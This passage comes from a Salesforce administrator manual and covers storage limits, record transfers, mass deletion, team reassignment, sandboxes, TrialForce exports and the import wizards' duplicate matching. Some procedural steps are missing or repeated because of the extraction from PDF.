3. Click View next to the Used Data Space or Used File Space fields to view that user’s storage usage by record type.
Individual users can view their own storage usage in their personal information (see Editing Your Personal Information on
page 24).
Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To
reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce
CRM Content, delete files to reduce your storage limit.
To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited
Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 2667.
Storage Considerations
Take the following into consideration when planning your storage needs:
• Person accounts count against both account and contact storage because the API considers each person account to consist
of one account as well as one contact.
• Archived activities count against storage.
• Nothing that is deleted counts against storage.
• Active or archived products, price books, price book entries, and assets do not count against storage.
See Also:
Salesforce.com Editions and Limits
Force.com API Usage Limits
597
Data Management Transferring Records Overview
TRANSFERRING RECORDS
A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user.
With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending
on the type of object, there may be multiple ways to transfer records to another user:
598
Data Management Mass Transferring Records
• To transfer ownership of any single record in an organization that does not use territory management, a user must have
the appropriate “Edit” permission and either own the record or be above the owner in the role hierarchy.
For example, to transfer ownership of an account, a user must have the “Edit” permission on accounts and read sharing
access to the account. Additionally, the new owner of the record must have at least “Read” permission on accounts.
The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of
that type of record as long as they have the appropriate “Edit” permission.
• In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the
accounts in their territories, even if they are not the record owner.
• To transfer campaigns, users must also have the Marketing User checkbox selected on their user record.
• Partner accounts can only be transferred to users with the “Manage Partners” permission.
• You cannot assign an account with Customer Portal users to an owner who is a partner user.
See Also:
Mass Transferring Records
Changing Ownership
Changing Multiple Cases
Changing Multiple Leads
Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another.
Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing
access on the records.
599
Data Management Mass Transferring Records
4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues.
5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records
to the new owner’s default division.
6. When transferring accounts, you can:
• Select the Transfer open opportunities not owned by the existing account owner checkbox if
you want to transfer open opportunities owned by other users that are associated with the account.
• Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated
with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities
owned by other users are not changed.
• Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer
open cases that are owned by the existing account owner and associated with the account.
• Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing
account owner and associated with the account.
• Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the
account. Deselect this checkbox if you want to remove the existing account team associated with the account.
• Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales
team on any opportunities associated with this account.
Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.
7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California
by specifying Billing State/Province equals CA.
8. Click Find.
9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all
currently displayed items.
Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate
records results in an error.
Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the
same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status
equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will
display twice.
600
Data Management Managing Multiple Approval Requests
See Also:
Changing Ownership
Changing Multiple Cases
Assigning Leads
To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval
process:
1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval
requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense
approval requests.
2. Choose Setup ➤ Data Management ➤ Mass Transfer Approval Requests.
3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for
approval requests that were originally submitted by a particular user by specifying “Original Submitter equals jsmith.” For
more information, see Entering Filter Criteria on page 2163.
4. Click Find to search for approval requests that match.
5. Choose an option:
• Mass remove records from an approval process unlocks the records and removes them from any approval
process so they no longer appear on the approver's list of pending approval requests.
• Mass transfer outstanding approval requests to a new user allows you to select a user and assign
that user as the approver for all approval requests selected.
6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the
Approval History related list if your administrator has customized it to include the Comments field.
7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending
on the option you selected previously.
601
Data Management Deleting Mass Data
See Also:
Approval Processes Overview
Approval Process Terminology
You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass
delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export
of your data; see Exporting Backup Data on page 593.
To delete multiple records:
• Delete products that are not on opportunities and move them to the Recycle Bin.
• Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.
Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on
opportunities will remain checked after the deletion to indicate they were not included in the deletion.
7. Choose Search to find records that match.
8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently
displayed items.
9. To permanently delete records, select Permanently delete the selected records. Please note that selecting
this option prevents you from recovering the selected records from the Recycle Bin.
10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the
Recycle Bin.
602
Data Management Deleting Mass Data
• The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along
with their associated event series.
• Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution
becomes a master solution.
• Deleting a translated solution removes the association with its master solution.
See Also:
Undoing an Import
Recycle Bin
603
Data Management Reassigning Multiple Team Members
If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time.
Using Salesforce.com, you can add, remove, or replace a team member on any record that contains that team member.
See the following topics for details:
1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Add option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose a team member to add to the selected records.
7. Select a role for the new team member.
8. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
9. Click Add.
604
Data Management Reassigning Multiple Team Members
Note: To add a new team member to an opportunity, the team member must have read access to the associated
account. Team members who do not have read access to the account will not be added to the opportunity team unless
you have the “Modify All Data” permission or are the account owner or above the account owner in the role hierarchy.
See Also:
Removing a Team Member from Multiple Records
Replacing a Team Member on Multiple Records
1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Remove option and click Next.
3. Enter your criteria to find the records you want to change and click Next. For information on finding records, see Entering
Filter Criteria on page 2163.
4. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose the existing team member to remove from the selected records.
7. Select a role. The team member is removed only if he or she plays this role. Or, select “Any Role” to removed the team
member regardless of what role he or she plays.
8. Check the following options when applicable:
• Reassign all open activities... if you want open activities for the removed team member assigned to the
account owner.
• Reassign all open opportunities... if you want open opportunities for the removed team member to be
assigned to the account owner.
• Reassign all open cases... if you want open cases for the removed team member to be assigned to the account
owner.
605
Data Management Reassigning Multiple Team Members
• Reassign all contacts... if you want to assign all contact records owned by the removed team member to the
account owner.
9. Click Remove.
10. Click Done after reviewing the number of records changed.
See Also:
Adding a Team Member to Multiple Records
Replacing a Team Member on Multiple Records
To replace an account or sales team member with a different one on multiple records at a time, or to change the role of a team
member:
1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Replace option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items.
5. Click Next.
6. Select the team member currently on the selected records that you want to change.
7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing
team member here as well.
8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role.
9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
10. Check the following options when applicable:
• Reassign all open activities... if you want to assign all open activity records to the replacement team
member.
• Reassign all open opportunities... if you want to assign all open opportunity records to the replacement
team member.
606
Data Management Transferring Divisions
• Reassign all open cases... if you want to assign all open cases to the replacement team member.
• Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement
team member.
Note: To replace a team member and reassign associated records, you need the “Modify All Data” permission, or you
must be the record owner or above the record owner in the role hierarchy. Associated records that do not meet these
criteria will not be reassigned.
See Also:
Adding a Team Member to Multiple Records
Removing a Team Member from Multiple Records
Transferring Divisions
Available in: Professional, Enterprise, and Unlimited Editions
607
Data Management Mass Updating Addresses
If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email
notification when the transfers are complete.
See Also:
About Divisions
Changing Your Working Division
Changing Your Default Division
Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's
existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US,
USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the
records.
608
Data Management Force.com Sandbox
Force.com Sandbox
Available in: Enterprise and Unlimited Editions
Salesforce.com gives you the ability to create multiple copies of your organization in separate environments for a variety of
purposes, such as testing and training, without compromising the data and applications in your Salesforce.com production
organization. These copies are called sandboxes and are nearly identical to your Salesforce.com production organization. For
a list of differences, see Force.com Sandbox Setup Tips and Considerations on page 612.
Sandboxes are completely isolated from your Salesforce.com production organization, so operations you perform in your
sandboxes do not affect your Salesforce.com production organization, and vice-versa.
There are three types of sandboxes:
Configuration Only
Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.
Developer Sandbox
Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.
609
Data Management Force.com Sandbox
Full
Full sandboxes copy your entire production organization and all of its data, including standard and custom object records,
documents, and attachments.
Sandbox Limits
The following limits apply to sandboxes:
• You can refresh each sandbox 29 days from its previous refresh or creation.
• You may order up to a maximum of three full sandboxes.
• You may order up to a maximum of six configuration-only sandboxes.
• Enterprise Edition includes one Developer Sandbox.
• Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes.
Note: Contact salesforce.com to order sandboxes for your organization.
See Also:
Creating or Refreshing a Sandbox
Force.com Sandbox Setup Tips and Considerations
Managing Sandboxes
• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 609.
Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary,
contact salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for
sandboxes that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that
610
Data Management Force.com Sandbox
sandbox. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed
copy is inactive until you activate it.
3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:
• Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.
• Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.
• Full sandboxes copy your entire production organization and all of its data, including standard and custom object
records, documents, and attachments.
• If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example,
if you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead,
you must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox,
depending on which type of sandbox you have available.
Note: Configuration-only and Developer Sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Setup, but exclude all of your organization's standard and
custom object records, documents, and attachments. Because they copy much less data, creating these sandbox
types can substantially decrease the time it takes to create or refresh a sandbox.
If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox
you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration
Only.
Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already
created the number of sandboxes of that sandbox type allowed for your organization.
5. Click Start Copy.
The process may take several minutes, hours, or even days, depending on the size of your organization and whether you
are creating a full copy or configuration-only copy.
Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.
611
Data Management Force.com Sandbox
6. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are
creating a new sandbox, the newly created sandbox is now ready for use.
If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new
sandbox must be activated. To delete your existing sandbox and activate the new one, return to the sandbox list by logging
into your production organization and navigating to Setup ➤ Data Management ➤ Sandbox. Then click the Activate
link next to the sandbox you wish to activate. This will take you to a page warning of removal of your existing sandbox.
Please read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click
the Activate button. When the activation process is complete, you will receive a notification email.
Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox
it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data
changes you have made. Please read the warning carefully, and press the Activate link only if you have no further
need for the contents of the sandbox copy currently in use. Your production organization and its data will not be
affected.
7. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email
to access your sandbox.
Users can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to their
Salesforce.com username. For example, if your username for your production organization is user1@acme.com, then
your username for a sandbox named “test” is user1@acme.com.test. For more information, see Username and Email
Address Modification on page 613.
Note: Salesforce.com automatically changes sandbox usernames but does not change passwords.
612
Data Management Force.com Sandbox
• When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your
sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox
will not contain matching object IDs.
• Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, do not receive
automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation
rules. By modifying user email addresses, any email messages sent from the sandbox are not delivered to production users.
• You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and
training.
Caution: Sandboxes automatically change Salesforce.com user email addresses, but do not change other email
addresses in Salesforce.com, such as those in contact records. To avoid sending unsolicited email from your
sandboxes, manually invalidate or delete all email addresses in your sandboxes that do not belong to users. When
testing the generation of outbound email, change contact email addresses to those of testers or an automated test
script.
613
Data Management Force.com Sandbox
Accessing Sandboxes
• Access Changes for Sandbox Users
- A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses
any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a user’s
profile and permissions revert to their values in the production organization. This means that after a refresh, any access
changes will need to be repeated in the new copy.
- You can create users in your production organization that are inactive, and then activate them in sandbox. This is a
good way to create a user in sandbox that has the appropriate permissions to develop in sandbox. For more information,
see Editing Users on page 447.
- Many development and testing tasks require the “Modify All Data” permission. Because your developers might not
have that permission in the production organization, you may need to increase their permissions in sandbox. Exercise
caution when granting this permission in sandbox organizations that contain sensitive information copied from production
(for example, social security numbers). To change organization permissions, see Viewing and Editing Profiles on page
465.
- You can create new users for sandbox development, but these count against the number of licensed users in your
organization. To reduce your license count, you can disable production users who won’t need access to the sandbox.
For more information, see Deactivating Users on page 449.
- To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create
or upgrade user access in the sandbox.
• Always log in to your sandbox organization using the https://test.salesforce.com login URL.
• Remember to log in using the modified username as described in Username and Email Address Modification on page 613.
• If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent
access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Setup ➤ Security Controls ➤ Single Sign-On Settings; then click Edit, and select SAML
Enabled. You must change the value of the Recipient URL in the certificate for your client application as well. For more
information, see Configuring SAML Settings for Single Sign-On on page 559.
614
Data Management Force.com Sandbox
The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce.com release.
Check the logo in the upper left corner of your sandbox home page for version information.
Service Exclusions
• The following features are disabled and cannot be enabled in sandboxes:
- Case escalation
- Opportunity reminders
- Contract expiration warnings
- Subscription summary
- Automated weekly data exports
- The ability to create Salesforce.com sandboxes.
Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send
email to contacts, customers and users who should not interact with sandboxes.
- Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google
AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your
Google AdWords account as your production organization.
- Email service addresses that you create in your sandbox cannot be copied to your production organization.
See Also:
Force.com Sandbox
615
Data Management Force.com Sandbox
Managing Sandboxes
Available in: Enterprise and Unlimited Editions
To manage your sandboxes, click Setup ➤ Data Management ➤ Sandbox. A list of your existing sandboxes displays.
• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 609.
Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and
who created them.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for sandboxes
that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that sandbox. Your
existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive
until you activate it.
• Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it.
Salesforce.com only displays this option for sandboxes that are not activated.
Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently
deletes the existing version and all data in it. Your production organization and its data will not be affected.
• Click Del to delete a sandbox. The delete option is only available if your organization exceeds its sandbox limit.
Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and
its data will not be affected.
• Click Login to log in to a sandbox. Salesforce.com only displays this option for active sandboxes.
Note that the Login button is for administrators and may not always be available; however, you can log into an active
sandbox at https://test.salesforce.com by entering your modified username and password. To change your
username or password, see Changing Your Password on page 35.
• Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.
See Also:
Force.com Sandbox
616
Data Management Using TrialForce to Export Organization Data to a DOT file
TrialForce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
TrialForce signs up organizations on the correct instance based on geography and automatically upgrades the TrialForce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To configure and export your DOT:
3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created.
This is especially useful if the DOT creation process fails, as you'll have a log of what happened.
4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every
time an organization is signed up from your DOT.
5. Select how you want the DOT export to output. You can choose the following options:
• Documents Tab—Saves the DOT export as a file under the Documents tab.
• Appserver's Local Filesystem—Saves the DOT export to the local Unix filesystem of the appserver that did
the export.
• TrialForce Upload—Depending on the size of your TrialForce DOT, you either see a message with your TrialForce
DOT ID or see a screen saying that you will receive an email when it has been created. If your TrialForce DOT creation
doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for
use" confirmation email, your TrialForce DOT is ready.
Send the TrialForce DOT ID to your salesforce.com representative to get your trial set up.
If your TrialForce DOT creation fails, you will receive an email notification.
See Also:
Viewing Your Exported TrialForce DOTs
617
Data Management Importing Overview
TrialForce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
TrialForce signs up organizations on the correct instance based on geography and automatically upgrades the TrialForce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To view a list of your exported TrialForce DOTs, go to Setup ➤ Administration Setup ➤ Data Management ➤ TrialForce
DOT Exports.
On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column
heading to sort the list in ascending order. Click the heading a second time to sort in descending order.
For more information about TrialForce, contact your salesforce.com representative.
Importing Overview
Available in: All Editions
Organization import not available in: Personal Edition
Custom object import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Solution import not available in: Personal, Contact Manager, and Group Editions
Person account import not available in: Personal, Contact Manager, Group, and Professional Editions
You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format,
such as Excel or GoldMine.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
The following table summarizes the kinds of records that can be imported.
618
Data Management Importing Overview
Person accounts owned by you 50,000 at a time All users What Is Imported for Person
Accounts?
Person accounts owned by 50,000 at a time Administrators; What Is Imported for Person
different users Accounts?
Users with the “Import Person
Accounts” permission
Campaign members 50,000 for importing leads as Administrators; What is Imported for
new campaign members and Campaign Members?
Marketing users (or users with
updating the status of existing
the “Import Leads” permission
campaign members.
and the “Edit” permission on
campaigns) can import new
leads as campaign members.
Users also need the “Read”
permission on contacts to use
the campaign update wizard
to make existing leads and
contacts campaign members.
619
Data Management Importing Overview
For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page
627.
See Also:
Importing Multiple Currencies
Undoing an Import
Importing Campaign Members
Importing Articles
FAQ: Importing
Tip sheet: Importing Your Data
Administrator tip sheet: Importing Your Organization's Data
The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent
duplicates. Contacts can be matched by Salesforce.com ID, name, or email. Business accounts can be matched by Salesforce.com
ID or by name and site. Matching by Salesforce.com ID is inclusive of both contacts and business accounts; if you match one
by Salesforce.com ID, the other will also be matched by Salesforce.com ID.
620
Data Management Importing Overview
Matching by Salesforce.com ID
You can also choose to match contacts and business accounts by Salesforce.com ID. With this selected, the Salesforce.com
ID will be the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID
as a record in Salesforce.com, then that record will be updated in Salesforce.com. Note that record IDs are case-sensitive and
must match exactly.
See Also:
Accounts Overview
Import My Organization’s Accounts and Contacts
FAQ: Importing
The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according
to one of the following fields: Account Name, Salesforce.com ID, or Email. In your import file, include a column for
the field that you are using for record matching.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.
621
Data Management Importing Overview
Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.
Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.
Matching by Email
With this option, person accounts in your import file will be matched with existing person accounts in Salesforce.com according
to the exact value in the Email field.
Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Note: Only account custom fields with the “External ID” attribute are available for this step. While all custom contact
fields are available on person account page layouts, custom contact fields with the “External ID” attribute are not
available as matching fields during person account import.
622
Data Management Importing Overview
• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.
See Also:
Import My Person Accounts
Import My Organization's Person Accounts
FAQ: Importing
You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is
hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise,
Unlimited, and Developer Editions only.)
See Also:
Import My Organization’s Leads
FAQ: Importing
623
Data Management Importing Overview
• Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign,
and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and
into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings.
(Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your
import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard
does not merge the duplicate data into one lead.
• Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status
value of the matching contact or lead in Salesforce.com. You cannot add new leads or contacts, nor can you update any
other fields in the existing lead or contact records.
See Also:
Lead Import Wizard
Campaign Update Wizard
FAQ: Importing
The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according
to one of the following fields: custom object name, Salesforce.com ID, or external ID. In your import file, include a column
for the field that you are using for record matching.
Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.
Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
624
Data Management Importing Overview
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
See Also:
Import My Organization's Custom Objects
FAQ: Importing
625
Data Management Importing Overview
The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one
of the following fields: solution title, Salesforce.com ID, or external ID. In your import file, include a column for the field
that you are using for record matching.
Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
626
Data Management Importing Overview
• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.
See Also:
What are Multilingual Solutions?
Import My Organization's Solutions
FAQ: Importing
• Field Accessibility—In the organization-wide import wizards for accounts and leads, you can import data into any standard
or custom field even if it is hidden or read only in your page layout or field-level security settings.
For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout
or field-level security settings.
See Managing Page Layouts on page 1012 and Setting Field-Level Security on page 540. Field-level security is available in
Enterprise, Unlimited, and Developer Editions only.
• New Values for Picklists and Multi-Select Picklists—If your import file contains data to be displayed in picklists or
multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid
picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator
can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100
new picklist or multi-select picklist values for any field during a single import.
If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating
new inactive picklist values. See Setting Up the Translation Workbench on page 437 for more information.
